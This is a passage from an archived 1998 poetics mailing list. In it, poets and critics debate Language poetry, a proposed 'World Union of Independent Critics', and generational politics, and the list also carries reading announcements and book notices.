And one more thing, the absurd length of this post, it would be just as fair to say that the language poets were themselves driven out of San Francisco: one by one they all left us--though your advisors might say that this is what has made the current re-birth of new poetry here possible?

And finally, and this is not only for Katy, but if any of you on this List don't have that copy of Philly Talks with Ron Silliman and Jeff Derksen, let me know (back channel) and I'll send it to you as supplies hold out. It's really interesting and I personally would enjoy a wider discussion of Jeff's announcement of the tendency, among "emerging" writers, "toward a poetics if disgust and overdetermination."

Okay, see you. XXX Kevin K.

P.S., Aldon, if Shauna Hannibal and Giovanni Singleton are between the ages of 35 and 45, then a) so are, mmm, the boys in Hanson . . . b) get me the phone numbers of their dermatologists and or surgeons . . . c) it must be true what they say about how living close to the water keeps you preternaturally young . . .

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990. **henry gould**
Re: pumping poetry
Fri 30 Jan 1998

On Fri, 30 Jan 1998 08:46:56 -0600 MAYHEW said:
>Henry Gould makes some good points. As for poetry as business, promotion
>and the like, "I too dislike it," which is why the poems I write go
>straight into my drawer. How we could have a distribution system free of

>the corruption he decries I have no idea, and would appreciate suggestions
>for real reform.

The individual & group circus contortions poets go through to get attention (both the "Language Poets" and myself are very good examples); the incestuous and truly mystifying monopoly amalgamations of theory, criticism, scholarship, and poetry that go on in the academy; the disdain & disinterest displayed in humanities departments (of all places) for poetry; and the shell game/sell game/name game that goes on in bookstores & journals... none of these things are going to go away. Who would want them to, really? We all love the circus, don't we? (When the acts don't make us scared or nauseous.) Ah, blessed literary spite...

But I think these symptoms & effects might be lessened or relieved by a strong independent criticism. I propose the formation of a World Union of Independent Critics. The 1st principle would be that they would never meet as a group; the 2nd that they would write about their personal friends only in a special conversational genre called "Buddy Chats". The 3rd principle would be that these critics would care enough about poetry without being poets themselves (I mean "full-time" poets) to do the following things in a very serious way:

1. These critics would educate themselves about poetry as a general field stretching around the globe, running back to the origins of humanity, and subject to new developments.

2. They would specialize in one or two areas for deep exploration.

3. They would interest themselves in the poetry of their own region, and dedicate themselves to seeking out "unknown" and new work, or disregarded old work.

4. They would cast an amused but cold eye on the maneuvers - personal, political, aesthetic, professional, promotional - on poets & poetry groups, always measuring new work & young poets within a framework or awareness of DEVELOPMENT. I.e. a dialectical sense: new young poets produce stunning revolutionary work: how does it relate to the past? what kind of individual development/apprenticeship are they going through? do they have staying power? By the same token, the critic would look at strong, established and productive poets, and ask: are they changing? getting any better? repeating themselves?

5. They would publish the results of their investigations, explorations, responses, and theories in a modest format available to everybody.

6. They would keep a respectable distance from conflicts of interest, tendentious promotion, and favoritism, by means of a proud dedication to their OWN endeavor: an independent criticism interested in measuring the values of what passes for literature and sharing them with the general public. Isn't this all we

ask from any profession? Why are literature and poetry, poets and scholars, exempt from basic rules of order regarding tendentious polemic and mystifying "theoretical" promotion? The uses of "names" as a substitute for the thing itself? Those little blurbs look so innocuous... they're poison, poison!!!!

- Henry Gould

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991. **aerialedge**
Bridge Street Reading Feb 1
Fri 30 Jan 1998

Announcing a Good Old Fashioned Avant Garde Hoedown

Sunday, Feb 1st, 8 PM @ Good Ol' Bridge Street Books

MILES CHAMPION
TIM DAVIS
& BRIAN KIM STEFFANS

Miles Champion, author of Compositional Bonbons Placate published by Carcanet, is one of Enlgland's most touted young poets. He reads FAST. Wow, really fast. Tim Davis, author of Analogy Guild and A History of N=A=R=R=A=T=I=V=E Film, likes to chew on tinfoil. He's also an editor at New Directions. Brian Kim Steffans, editor of Arras, & author of the forthcoming Roof Book Free Space Comix, goes to Atlantic City and puts down a dime.

It's at
Bridge Street Books
2814 Pennsylvania Ave NW
Washington, DC
ph [redacted]

BYOE (Bring Your Own Ears)

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992. **Maria Damon**
Re: Grumman re-contextualizes
Fri 30 Jan 1998

At 2:45 PM -0500 1/29/98, Joseph Conte wrote:

>
>J. Spahr forwarded a critique from the ever-worthy CAP-L in which I was
>pilloried for not having an appreciation of Web-based poetics. But the
>graphical interface for the Internet being nary five years old (as Loss
>Glazier can confirm), I apologize for not being prescient about it ten

>years ago.
>
>In fact I'll be working with hypertext poetries and the EPC in a course
>on Multimedia Literature next fall.
>
>It's already a commonplace about discussion-list traffic that statements
>ripped from their context are frequently misinterpreted.
>
>Joseph Conte
>--
hey joe; yeah, anyone can take any fragment of anything and use it in ways
not intended; the problem w/ exemplification in general, as b. perelman
astutely pointed out recently. funny thing about cap-l; i didn't realize
they were open to new technologies. glad to hear it.

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993. **Maria Damon**
(no subject)
Fri 30 Jan 1998

- Henry Gould (more creepily personal than ever!)

***

hey, i thought moriarty's "creepily personal" was directed at *me.* whew.--md

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994. **Maria Damon**
Re: pumping poetry
Fri 30 Jan 1998

---

hen rites:
... And pardon me: I write poems. I know just, just
how abject that sounds to every certified tenured intellectual.
The funny thing is they're not going to get it; they don't
MAKE poems. - Henry Gould

**

now henry-kins, in general i admire your fighting spirit and purism, when you stick to the issues and refrain from ad hominem and ad feminam generalizations. it's fine to set high and intransigent standards for yourself; but who are you to judge the motives of others? this kind of macho poetico-darwinism (if you can't hack it alone against the crowd, yr don't deserve to draw breath etc) -- loses its credibility. the fact that you write poems does not sound abject to me,

or, probably, to joe conte, jonathan mayhew (hi jonathan), etc. but it *does* sound as if you need to get some sleep or something.--md

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995. **Harold Rhenisch**

Re: Originality in the young, hypocritical stance of the old, machismo

Fri 30 Jan 1998

Thanks for the reply, Katy. I can only agree with the clarity and generosity of your response and your passionate yet measured defense of supported, rather than challenged, creation, and I appreciate your statement "I feel that perhaps it is fair to question this mode of or means toward literary 'production.'", meaning the cattle prodding of younger writers. The vital word here is 'question', as opposed to 'prod' or 'expect' or 'challenge' or 'judge'. Judgement is pretty sad if it gets in the way of learning or teaching, and learning and teaching, if they are cross-generational, should be working both ways.

My personal project with the list at the moment is to try to understand just why the poetry scene is so stratified. Whatever language poetry and visual poetry I've read over the last 20 years has been, to me, no different than any other kind of poetry, and now I discover that it's considered very different indeed. Well, I can't see a difference.

Mind you, I don't have a problem with Silliman's requests for a new poetics of the Left, but I don't see it as having anything to do with the heirs of his tradition. Things change and go off into unexpected directions, but when they do so, they often leave other opportunities unexplored. There is, in other words, everything right about asking for a new poetics of the Left, just as there is everything right about extending Silliman's tradition any way anyone sees fit.

regards,

Harold

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996. **Catherine Daly**

young poets, etc.

Fri 30 Jan 1998

The more tests there are for belonging to a group, the fewer members. Over time, the original tests for belonging become less relevant, and there is attrition, as original members of the group begin to fail the tests/not care/etc. Sometimes the remaining members become more strident in their membership

demands, as in the Republican Party. Some people don't like that sense of "belonging".

Women are more socially mobile than men.

The idea that reviews be positive is absurd (in that way, it's kind of fun to imagine). Reviews are mostly pr nowadays. Let's keep throwing in the analysis.

31 the 28th,
Catherine Daly
[redacted]

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997. **Gary Sullivan**
Re: Response to Maria's Question
Fri 30 Jan 1998

Hello, again, Maria:

Many kind thanks for answering some of my questions. But it's really the last one that I think might be most relevant, so I'll re-ask it: Given what you & others have said w/respect to academia: What, specifically, now, could you ACTIVELY DO to help further nudge things forward, toward balance? Is there a way you might be able to use, for instance, the Talisman anthology Dodie and/or Kevin mentioned (hi Kevin & Dodie!), like, create an event there at UMN to somewhat coincide w/its publication? (I realize it would be difficult to get something approved & planned for March or April.) I bet many of the academics & non-academics on this list would be willing to participate in that, or anything else for that matter. Though I agree with Henry Gould that the art-product, & significant advancements of same, is made manifest, largely, by the individual, I'm also intrigued by Don Byrd's take, similar to Henri Lefebvre's meditation on cities, which makes a distinction between "product" (the home-made) and "oeuvre" (the culturally- or communally-produced), and privileges the oeuvre. So, again: What, specifically & generally--above & beyond the writings on Kaufman, Women of the Beat Movement, etc. you've already done--can you do toward ensuring the oeuvre of the academy reflects gender & racial balance?

Yours,

Gary

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998. **k. lederer**
Re: Apologies, wish list
Fri 30 Jan 1998

Dear Silliman Joris, Hisashiburi et al.,

Let me say that I've been on this list about a week. It's been really terrific as I'm a little bit isolated in some intellectual senses in Iowa--

I'm a little bit baffled (perhaps baffled isn't the right word--) by the number of responses that insist on correcting facts and setting social issues straight. I mentioned two or three names in a couple of posts replete with much larger questions and issues (ie, how to nurture young talent, how poetry has changed in the last forty years institutionally, what style might be...) and found a number of people who honed in on facts and reputations that they thought were misrepresented...

I have nothing against "language poets"--Lyn Hejinian was probably the kindest and most nurturing teacher I have ever had--In fact, my original post was a lengthy Barthes quote about style--and was a defense of langpos--

I suppose that I'll stick to the theoretical in future posts--

Yours,
Katy

> *On Fri, 30 Jan 1998,*
> *Nada Gordon wrote:*
>
> *Hisashiburi desu ne. . .*
>
> *I've just re-subbed to this list after a year or more of being unsubbed thinking I was going to hear about something new, but I've tuned in to find people are still writhing anxiously about language poetry hegemony.*
>
> *k. lederer wrote:*
>
> *I must say that I have this attitude mainly because of things I've heard--that a number of primarily male language poets in the 70s and 80s basically drove an entire generation of young writers out of San Francisco because they were so critical of them. Etc. I believe this stuff because I hear it from people who know--and also because of the strange absence of young "experimental" poets between the ages of 35 and 45 in SF...*
>
> *Katy, whose version of the narrative is this? Exactly who are these "people who know"? I'm 34 (so do I fit your category of "an entire generation"?) and was in the thick of that scene for much of the 80's until I found*

myself in Tokyo in '88.

*Certainly I was not *driven out* by criticism from any of that number of primarily male writers! (torches!) Who's granting them that power? Who's so sensitive as to be driven out of a city by criticism? I don't remember any of them being critical of me, just encouraging. Maybe they thought I was an acolyte? Dunno, I didn't feel like one. There may, I confess, have been moments when I fancied myself a baby-language-poet-in-training, but that was a passing phase -- I quickly realized the limits of that self-characterization. I do remember learning a lot.*

*Yes, that scene *was* sometimes joyless and constricting and abstruse, socially clumsy or flushed with its own importance (the foregoing modifiers could all apply to this list, couldn't they). Still, I and other young writers were choosing to be around the language poets' whoosh of intellectual energy. No one forced us to be there, and no one drove us out. Most of the other young writers I hung out with at the time went back to their hometowns or towards new opportunities, as I did -- San Francisco's miniscule and overcrowded when it comes to job-hunting time. Might be worthwhile to have a look at the economics & demographics of this claim of "young poet flight."*

A memory (1983?):

*I remember Colette Lafia and I were taking a night class at SFSU from Barry (Watten) on the Russian Formalists. He was driving us home (not driving us *out*), and she and I were talking in the back seat about the class. He turned around from the front seat and said, frustratedly,"I'm really having a hard time getting you guys to understand what 'form' is" (not his exact words).*

and I'm still puzzling over that, what is form?

For me that's more interesting to think about than generational power and poetry "politics."

And isn't it a good teacher whose question still resounds fifteen years later?

nada (gordon)

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999. **k. lederer**
Re: Missing generation
Fri 30 Jan 1998

Kevin,

That was a totally great post--it's funny because here at Iowa there is also a rather pervasive discourse regarding the "dropping out" of young poets--

Marvin Bell et al periodically remind us that "even here, in the belly of the poetic beast etc..." only about one out of every four of "us" will be writing in 20 years--

Some of the younger poets I know also talk about this--
Anselm B. and I have had some interesting discussions about it, Hoa, Dale, etc...

The interventions of death, though, have not been discussed much in my circles--sobering thing to think about--

Thanks again for the post--it was thought-provoking

Love,
Katy

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1000. **Henry Gould**
Re: a posting to poetics
Fri 30 Jan 1998

On Fri, 30 Jan 1998 11:14:42 -0500 Rod Smith said:
>
>I've pointed this out before but will say again, another major difference is
>the economic circumstance of this group. Re this question witness just the
>book titles Edge has recently issued: _They Beat Me Over the Head With a
>Sack_, _Nothing Happened and Besides I Wasn't There_, _perhaps this is a
>rescue fantasy_, & forthcoming, _Marijuana Softdrink_. It is my contention
>that there is much *NEW* (superscript tm) in this gen & it is informed by a
>stunning listening in to an entire tradition which includes L=A=N=G coupled
>with economic circumstances which often do not allow for the kind of lengthy
>critical explication one might wish for. Or one might not. I'm not troubled
>really by giving primacy to the poetic, if a writer's truly concentrated on
>their work which genre they've chosen at the moment is not the point. It's a
>matter of the degree of creative engagement, & there's plenty of that. I
>would define "creative" to include "critical" by the way.

Length is not a criterion. Neither is "economic circumstances" an excuse. That sounds like a cop-out, Rod. (Or a kind of blurb outfit for romantic "short abstract french-cut lyrics by youngsters".) But I agree that CONCENTRATION ON YOUR WORK (critical or creative or cri/cre) is the thing. And a ratio of more good poetry to less bad criticism is all to the good. - Henry Gould

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1001. **KENT JOHNSON**

The Pump

Fri 30 Jan 1998

Henry:

Good show there below. However, both as a matter of principle and in order to help ensure that the "Independent Critics" do not quickly fall prey to the very ills they would courageously set out to do battle against ("conflicts of interest, tendentious promotion, favoritism, the uses of 'names' as a substitute for the thing itself," etc), I would offer this additional qualifiction (sic) to your little manifesto: This new "school" of critics will only present critical considerations under a continuously shifting array of heteronyms, with each critic limited to the use of a particular "name" for only three attributions; subsequent to three attributions, a "new" critic must be created. Don't you think? As they say, those who critique should set the example. Or, as the good book says, let he who is without sin remove the log from his own eye, or something like that.

Thus, this new society of critics would be called "The World Union of Independent and Apocryphal Critics." However, the fact is that such a group would be a Johnny-come-lately sort of thing, for there is already the recently formed and, yes, "actually existing" International Society of Transpersonal Authorship, which includes a number of critics, poets, fiction writers, and philosophers who write roughly under the conditions I have outlined above. Most of these writers are currently Russian, though other nationalities are already on board.

By the way, that was one hell of a beautiful stanza, poet. What moved your hand to brand it with your own name?

Kent (my name in the game, so you see my point?)

ON JANUARY 30, HENRY GOULD PROCLAIMED:

The individual & group circus contortions poets go through to get attention (both the "Language Poets" and myself are very good examples); the incestuous and truly mystifying monopoly amalgamations of theory, criticism, scholarship, and poetry that go on in the academy; the disdain & disinterest displayed in humanities departments (of all places) for poetry; and the shell game/sell game/name game that goes on in bookstores & journals... none of these things are

going to go away. Who would want them to, really? We all love the circus, don't we? (When the acts don't make us scared or nauseous.) Ah, blessed literary spite...

But I think these symptoms & effects might be lessened or relieved by a strong independent criticism. I propose the formation of a World Union of Independent Critics. The 1st principle would be that they would never meet as a group; the 2nd that they would write about their personal friends only in a special conversational genre called "Buddy Chats". The 3rd principle would be that these critics would care enough about poetry without being poets themselves (I mean "full-time" poets) to do the following things in a very serious way:

1. These critics would educate themselves about poetry as a general field stretching around the globe, running back to the origins of humanity, and subject to new developments.

2. They would specialize in one or two areas for deep exploration.

3. They would interest themselves in the poetry of their own region, and dedicate themselves to seeking out "unknown" and new work, or disregarded old work.

4. They would cast an amused but cold eye on the maneuvers - personal, political, aesthetic, professional, promotional - on poets & poetry groups, always measuring new work & young poets within a framework or awareness of DEVELOPMENT. I.e. a dialectical sense: new young poets produce stunning revolutionary work: how does it relate to the past? what kind of individual development/apprenticeship are they going through? do they have staying power? By the same token, the critic would look at strong, established and productive poets, and ask: are they changing? getting any better? repeating themselves?

5. They would publish the results of their investigations, explorations, responses, and theories in a modest format available to everybody.

6. They would keep a respectable distance from conflicts of interest, tendentious promotion, and favoritism, by means of a proud dedication to their OWN endeavor: an independent criticism interested in measuring the values of what passes for literature and sharing them with the general public. Isn't this all we ask from any profession? Why are literature and poetry, poets and scholars, exempt from basic rules of order regarding tendentious polemic and mystifying "theoretical" promotion? The uses of "names" as a substitute for the thing itself? Those little blurbs look so innocuous... they're poison, poison!!!!

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1002. **charssmith**
Re: Copies of AYA still available
Fri 30 Jan 1998

Gordon,

Hi! I'd be interested in a copy of AYA. Don't think I ever met ya, but I remember yr name from old Houses of K. Where wd you like a check sent?

Charles Smith
2135 Irvin Way
Sacramento, CA 95822

In a message dated 98-01-30 09:49:22 EST, you write:

<< I still have twenty-one copies of AYA left, a one-time-only (maybe) magazine published by myself (Nada Gordon), Andrea Hollowell, and Ewan Colquhoun out of Tokyo.

all for only $5.00

or 500 yen (a better deal with the current exchange rate)

to get your copy, e-mail: [redacted]
>>

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1003. **henry**
Re: pumping poetry
Fri 30 Jan 1998

On Fri, 30 Jan 1998 11:19:15 -0600 Maria Damon said:
>hen rites:
>... And pardon me: I write poems. I know just, just
>how abject that sounds to every certified tenured intellectual.
>The funny thing is they're not going to get it; they don't
>MAKE poems. - Henry Gould
>
>**
>
>now henry-kins, in general i admire your fighting spirit and purism, when
>you stick to the issues and refrain from ad hominem and ad feminam
>generalizations. it's fine to set high and intransigent standards for
>yourself; but who are you to judge the motives of others? this kind of
>macho poetico-darwinism (if you can't hack it alone against the crowd, yr
>don't deserve to draw breath etc) --loses its credibility. the fact that
>you write poems does not sound abject to me, or, probably, to joe conte,

>jonathan mayhew (hi jonathan), etc. but it *does* sound as if you need to
>get some sleep or something.--md

Maria, I didn't mean you. Yes the ranting gets SLOPPY & BORING. I was thinking about the general phenomenon (is it a right-left brain thing?) of people theorizing about a subject when they have no feel for the process. (There will be many who think I'm such a one myself.) & the process I was trying to emphasize (this is one place where FORM & POLITICS connect) was the danger in poetry (imaginatively speaking). "It can kill a man." I mean the tightrope quality of moving line to line, when the poet puts his or her BODY ON THE LINE in the old sense expressed in the phrase "a man of his word". That's what I think of when I think of the process of MAKING POEMS. It can be lost sight of in the teeming jungle atmosphere of world poetry production in this day & age. It's a marvelous jungle indeed - you can take paths both outward & inward. But that being on the line through a whole lifetime development is part of what I meant by the danger of being thrown off the wire by irrelevancies or corruptions. I'm not talking about influences. I'm talking about selling out in various ways; being packaged; losing your bearings.

- Henry Gould

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1004. **R. Gancie**

Modernist Antidote Urgently Needed

Fri 30 Jan 1998

Don Byrd and Joe Amato:I just caught up with your exchange and thought it would be an appropriate time, Joe, to explain why I felt that physics would remain at the center of the current controversies. It didn't surprise me that a physicist, Paul Forman was chosen to critique The Flight from Science and Reason. The history and necessary centrality of the current controversy has its roots, in large part, in quantum theory and its, as physicists themselves often call it, "counterintuitive" phenomena. Crudely put these 'anti-Ockhamist' quantum events are four:1) energy exists in discrete packets 2)wave/particle paradox 3) position/momentun paradox and 4) influence of the observer upon the observed. The 'counterintuitive' nature of these problems have led to a huge body of theoretical speculation which for reasons involving, among other things, the nature and capacities of language, can be fairly described as 'metaphysical'and every participant in the current debate is subject to these limitations and has demonstrated that fact repeatedly in their publications. What is maddening about the current controversy (and our hopes for an ecological solution)is that the evolution and therefore pervasiveness of this speculation is being ignored by all sides. A rough archaeology would look like this. 1)

Philosophical speculation introduced by the physicists responsible for the fundamental discoveries in Quantum itself who are troubled by its 'counterintuitive' nature--Bohr, Heisenberg, Einstein, Bridgman, de Broglie, von Neumann and many, many more 2) then came philosophical and philisophico-historical exegesis and the introduction of the problems involved in a reliance on formal or quantized systems--Husserl, Heidegger, Wittgenstein, Hayek, Hansen, Reichenbach, Whitehead, Oakeshott, Feyerabend, Rorty and many, many more 3) then the Frankfurt School and the broadening to the social paradigm and a sharp critique of formal systems--Horkheimer, Adorno, Habermas and others 4) finally, deconstruction--Derrida, Foucault, Latour et al. This, in turn, is the inheritance of the debate born out of European Transcendental philosophy, enlightenment science, British empiricism etc. and in conflict with Realism and Logical Positivism (before its collapse the philosophical Xanadu for scientists that wanted a system of language that banished all metaphysical elements and paralleled the certainty said to inhabit mathematics---see Gross and Levitt, Higher Superstition on A. J. Ayer for a sense of how ill-informed these cats are) and the positivist adjustments found in Popper, Quine, Lakatos and many others. The importance of the fundamental questions surrounding these early 20th century physical discoveries is beyond question as well as unresolved. The influence of physics upon our daily lives is irrefutable. That a critical assessment of the contradictions and tenets as well as the technological fruits of the dicoveries of physics has taken on a new urgency is borne out by Don's World Watch citation. For decades I have endeavored to put this debate into poetic form if only because it is utterly fundamental to all that we experience and how we interpret that experience. Generally, my response from literary and academic editors runs like this 1)we are not sure what it is you are doing 2) but we are certain that you are not doing it well. People in the sciences tell me that they do not need an historical or hermeneutical perspective to do their jobs effectively which jobs here in Washington are overwhelming defense or regulatory related. My work draws (or, I should say drew) heavily from the modernist forms embodied in Pound, Olson, Duncan, Zukofsky, Jones, Johnson et al because with the modernist mode you can build with original source material, a philosophical dialectic subtle and supple enough to advance a series of positions and conclusions. With the modernist form you can layer a tectonics of quoted material, image etc. allowing them to heat up as they come in the contact with one another. You can thus create unique arguments and reveal new syntheses. You can retain sense in the modernist mode without sacrificing the profundity of either the original argumentation or your reconstruction. The modernist mode is outward looking engaging some of the best of what has been thought encouraging the poet to increase the size and scope of his own thought. Modernism kicks the self-centeredness, naivete and sentimentality right out of you. And I've only begun to extoll its virtues. Don, its the ideal form for the kind of poetry you are

looking for and from what I can judge have on occasion, written. The "urgency" that you talk about IS being addressed. The opportunities to experience it are another matter.---Carlo Parcelli

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1005. Harold Rhenisch
World Union of Independent Critics
Fri 30 Jan 1998

Henry!

You missed something.

I propose the formation of a World Union of Circusses, to which all the lion tamers, tightrope walkers, trapeeze artists, jugglers, clowns, gag artists, clairvoyants, savants, and poodle groomers of the literary establishment can happily belong, with the only requirement that they meet continually, travel the world together, giving shows in towns small and large, in countries rich and poor, selling popcorn for more than its worth, and enticing the young to run away from home for a life of romance and adventure.

Who could resist?

This in addition to your own World Union.

You see, I see a problem with this World Union. I'm sorry! I couldn't help it! I see those pesky "Buddy Chats" becoming outrageously popular, because, well, Oprah is popular too, gossip is popular, and trashy glitzy kitschy gossip the most popular of all. I think the fifth column of people out for a scurrilous time will subvert yr. good intentions.

I see too you don't want the poets in your group. They're going to snipe, Henry. They're going to nip at your heels. They're going to infiltrate your organization, and then they're actually going to meet over coffee. Boom! The whole enterprise is wrecked. You're going to have to kick them out. It's going to get petty. It will be awful. You might have to meet as a group, in order to kick them out. You might need an executive body.

And executive bodies, we know these days, are much in the news. We'd never be able to keep it quiet.

Don't get me wrong, I think your list of requirements for criticism is admirable, but who's gonna give you the authority? Those excluded from membership are going to attack your group in the same irrelevant way they nit and pick their way through the incests and love nests of contemporary incestual love-nesting, and there you'll be, building a bamboo sleeping platform in some tree and picking nits with the best of them.

Crum, but it sounds like fun.

In the spirit of comradeship and the love of trees, I propose the following:

1. We initiate Henry's Union of Independent Critics immediately, following his 6 axioms to the T, because someone has to cut through the guff.

2. We start up the World Union of Circusses at the same time, because someone has to guff.

3. While all that is going on, we get together here for coffee, free at last from all those burdensome responsibilities.

Whatcha say, Henry?

Harold
[redacted]

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1006. Harold Rhenisch
absurd reviews
Fri 30 Jan 1998

Catherine Daly wrote:

>>The idea that reviews be positive is absurd (in that way, it's kind of fun to
imagine).

I agree. A genre of truly tongue-in-cheek, ironic reviews would be a lot of fun.

Harold Rhenisch
[redacted]

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1007. k. lederer
Re: a posting to poetics
Fri 30 Jan 1998

Dear Rod,

I really liked this take--

I think it seems especially accurate in light of what other new poets elsewhere are up to (eg Iowa types)--

I know a number of newer writers who have mainly worked alone, or away from the group you summon up in your post, who seem to be riffing off of a lot of the same issues/aesthetics/dead poets that those of your group riff off of--

Not to imply that there might be such a thing as a poetic control group--but there kind of might be--

In this regard: Cf:

Of Piscator, Martin-Corless Smith (U of Georgia, 1st book) The Little Door Slides Back, Jeff Clark (forthcoming from S & M, 1st book) Anything by Emily Wilson, Ishmael Klein, Kelly Flynn, Nick Regiacorte, Josh May, Kevin Larimer, etc--none of whom have a first book out yet--

Yours,
Katy

***

On Fri, 30 Jan 1998 [redacted] wrote:

> *Re Ron's post yesterday:*
>
> *I'd differ with Jeff Derksen by asserting that there are LOTS of projects, plural, among younger writers. That the L=A=N=G thang jelled into a singular recognizable project is contestable. Nevertheless, if as Mr Watten writ "Identity is the cause of war" perhaps "we" don't want one. This may be a possibility because of the multiplicty of influences available. The rather incredible amount of engaging writing available just within the Pound-Stein-Williams etc. tradition allows for such a variety of trajectories among younger poets & within a single author's work that it will take quite a bit of retrospect before "a project" could be identified. That this is the case does not mean that Anselm Berrigan, Edmund Berrigan, Sherry Brennan, Lee Ann Brown, Mary Burger, Steve Carll, Susan Clark, Kevin Davies, Jordan Davis, Tim Davis, Buck Downs, Patrick Durgin, Heather Fuller, Peter Gizzi, Judith Goldman, Lisa Jarnot, Andrew Levy, Bill Luoma, Jennifer Moxley, Melanie Neilson, Sianne Ngai, Hoa Nuyen, Julie Patton, Lisa Robertson, Lisa Samuels, Chris Stroffolino, Juliana Spahr, Rodrigo Toscano, Mark Wallace, Liz Willis, &&& are not engaged in serious critical explorations which are shared & which inform each others work. The work of the writers on the above list cannot reasonably be reduced to the epithet "bland abstract lyric," it just can't. Rather one might say that the context is wider, the number of influences being drawn on & the insistence on the contingency of any given mode is greater, that's all. This feeling that the context of the writing is wider (which it is) may be a response to the obvious fact that the context for actual political action-- for response at that level, has been shattered. Macropolitically, the corporations have won. The evidence of these writers, I think, is that micropolitically, they definitely have not. What that counts for I cannot say, it is certainly a valid kind of resistance-- most recognizably to overly codified modes of thinking about what poetry (i.e. communication) is/can be within educational institutions & for that reason is strongly allied to the continuing project of L=A=N=G=U=A=G=E. Tho it perhaps can/will have larger influence, so one hopes.*

> *I've pointed this out before but will say again, another major difference is the economic circumstance of this group. Re this question witness just the book titles Edge has recently issued: _They Beat Me Over the Head With a Sack_, _Nothing Happened and Besides I Wasn't There_, _perhaps this is a rescue fantasy_, & forthcoming, _Marijuana Softdrink_. It is my contention that there is much *NEW* (superscript tm) in this gen & it is informed by a stunning listening in to an entire tradition which includes L=A=N=G coupled with economic circumstances which often do not allow for the kind of lengthy critical explication one might wish for. Or one might not. I'm not troubled really by giving primacy to the poetic, if a writer's truly concentrated on their work which genre they've chosen at the moment is not the point. It's a matter of the degree of creative engagement, & there's plenty of that. I would define "creative" to include "critical" by the way. & it may be that identifying "a project" with the amount of discursive critical writing being done is precisely the mistake. It's understandable that this might be thought in the wake of or midst of L=A=N=G but it may be, um, wrong.*
>
> *Rod Smith*

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1008. **Charles Watts**

Re: As-Am poetics

Fri 30 Jan 1998

I've been meaning to do this for the last several days, but haven't had time, and now don't have the book at hand, but:

Now published: Roy K. Kiyooka, PACIFIC WINDOWS: THE COLLECTED POEMS OF ROY KIYOOKA. Vancouver: Talonbooks, 1997. This is a big, really beautiful book, which contains all of Roy's earlier separate books--KYOTO AIRS, THE FONTAINEBLEAU DREAM MACHINE, NEVERTHELESS THESE EYES, STONED GLOVES, THE PEAR TREE POMES--everything but TRANSCANADA LETTERS, which was too big and bulky to be included, but which, I think, is still available from the press--plus previously unpublished or virtually unavailable work, plus a critical essay by the editor of PACIFIC WINDOWS, Roy Miki. This is really a fabulous book. It contains all of Roy K's illustrations for the original editions, as well as David Bolduc's illustrations for PEAR TREE POMES, all of which are in very beautiful color--and the illustrations are clearer, richer and more resonant than in the original editions. This book should be available from SPD (tho I just checked with Talonbooks and SPD hasn't ordered it yet), but you can order it from General Distribution Services. Here's the e-mail address: [redacted]

You can also order by toll free phone (within the U.S.): [redacted], or toll free fax: [redacted]. The price is $29.95 Canadian, $26.95 U.S. If you've been

introduced to Roy's work only lately through e.g. PREMONITIONS and you liked what you found there, there's much to explore. Roy was better known in Canada as a painter and maker of assemblages of many kinds, but for the past many years the writing community here in Vancouver (and in select other places--the writers around Coach House Press, for example) knew him as a fine, funny, enormously inventive and elegant writer. He preferred to work, in writing anyway, on a relatively small scale; most of his books were published in small editions by small presses and are hard to get now; and he self-published many pieces in small, hand-made editions of around 50 and gave them to friends. I think many things remain unpublished -- his novelistic-essayistic treatment of the life of Tom Thompson (one of the Canadian "Group of Seven") for example, which some of us were lucky enough to hear at the Kootenay School. His mother and father were first-generation immigrants to Canada from Japan; his mother's stories, which are amazing, harrowing expressions of life in turn-of-the-century Japan and early 20th century Canada, were rendered from Japanese by Roy (via a literal transcription/translation of the tapes which Roy made of his mother telling the stories) into his own Canadian English-language versions. They're now available, from NeWest Press, I think (Doug Barbour or George Bowering, help me with this if you have the book), edited by Daphne Marlatt. The book is called MOTHERTALK: LIFE STORIES OF MARY KIYOSHI KIYOOKA. I don't have ordering info--maybe Doug or George can supply, or I'll find and post later.

But this is all to say that Roy was--he died in 1994, age 67, I think--and is a treasure of verbal and visual imagination. His written work is available now in a way that it has never really been before, thanks to Roy Miki and Talonbooks, and if you're interested in the work of innovative writers/artists, his is not to be missed.

--
Charles Watts
Theses and Special Collections
Special Collections & Rare Books
Room 7100, Bennett Library
Simon Fraser University
Burnaby, B.C. V5A 1S6
Tel: [redacted]; Fax: [redacted]
E-mail: [redacted]

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1009. **William Marsh**

Re: the revolution will be poeticized

Fri 30 Jan 1998

Mark, found your post inspirational, and a fair and keen-sighted response to Silliman's legit points / not sure i have much to add, but

It's more
>important that (now I'm gonna get real polemical, from many folks' point
>of view) that we develop socialist and revolutionary (also seriously
>feminist and anit-racist) values, than that some external *thing* come
>along, like Vietnam, and swat us on the side of the head.

and

It's gonna come from both our practice in our work as
>poets and from all of us working to build popular movements with what time
>we can spare outside our work. For me, it has usually been the labor
>movement plus a number of more specific attempts to at least inject the
>beginning of social democratic ideas into the immediate sphere of shared
>discourse, the place where working people like myself encounter Ted
>Koppell and all those shambling corpses...

all seems true / let me know if we're venturing into naming our causes -- not sure enough gets said on this list about the intersections of "poetry practice" and "social practice" or the politics of daily living (choices, habits, etc.)

trying to live and develop political
>values in the core of one's own life..

yes.

bill

- -
William Marsh
PaperBrainPress
Voice & Range Community Arts
National University
[redacted]
http://www.dtai.com/~bmarsh
snail: 1860 PB Dr. #4
San Diego, CA 92109
- -

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1010. Jack Spandrift
A Parable about a Pair a Bulls
Fri 30 Jan 1998

There was a cowboy once by the name of J (not Jack; just J). Out on the prairie one day he saw a herd of Bulls. There was one big Bull named Henry; he wore a purple hat between his horns & was lecturing the herd as they moved along day after day. He trumpeted his lectures on a third horn between his two horns under his purple hat; everybody listened carefully. He cried, "Bulls, you are not to travel in herds anymore! You are to carry these Henry Packs on your backs and follow me!"

J wondered: is Henry the Bull a small town boy? Suddenly with a tremendous bullish roar the whole herd including Henry pummelled pell-mell over a cliff. J rode over to the edge & picked up a Henry Pack. It was extremely heavy; J thought: oy, the burdens he laid on their backs! Better for them to go right over the cliff than carry one of these! J opened the Pack. Inside he found a faded manuscript written on 8 x 11" legal pad with black ink. In block letters across the top he read: THE POEMS OF HENRY THE BULL. J thought: maybe I'll get to this one of these days... & he rode off into the sunset, singing "Row Row Row Your Boat"*

*according to Eric Blarnes of the Univ. of Left Overbie, this familiar folk song is the most profound work of literature in the English language.

- Jack Spandrift

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1011. Keston Sutherland
Re: a posting to poetics
Fri 30 Jan 1998

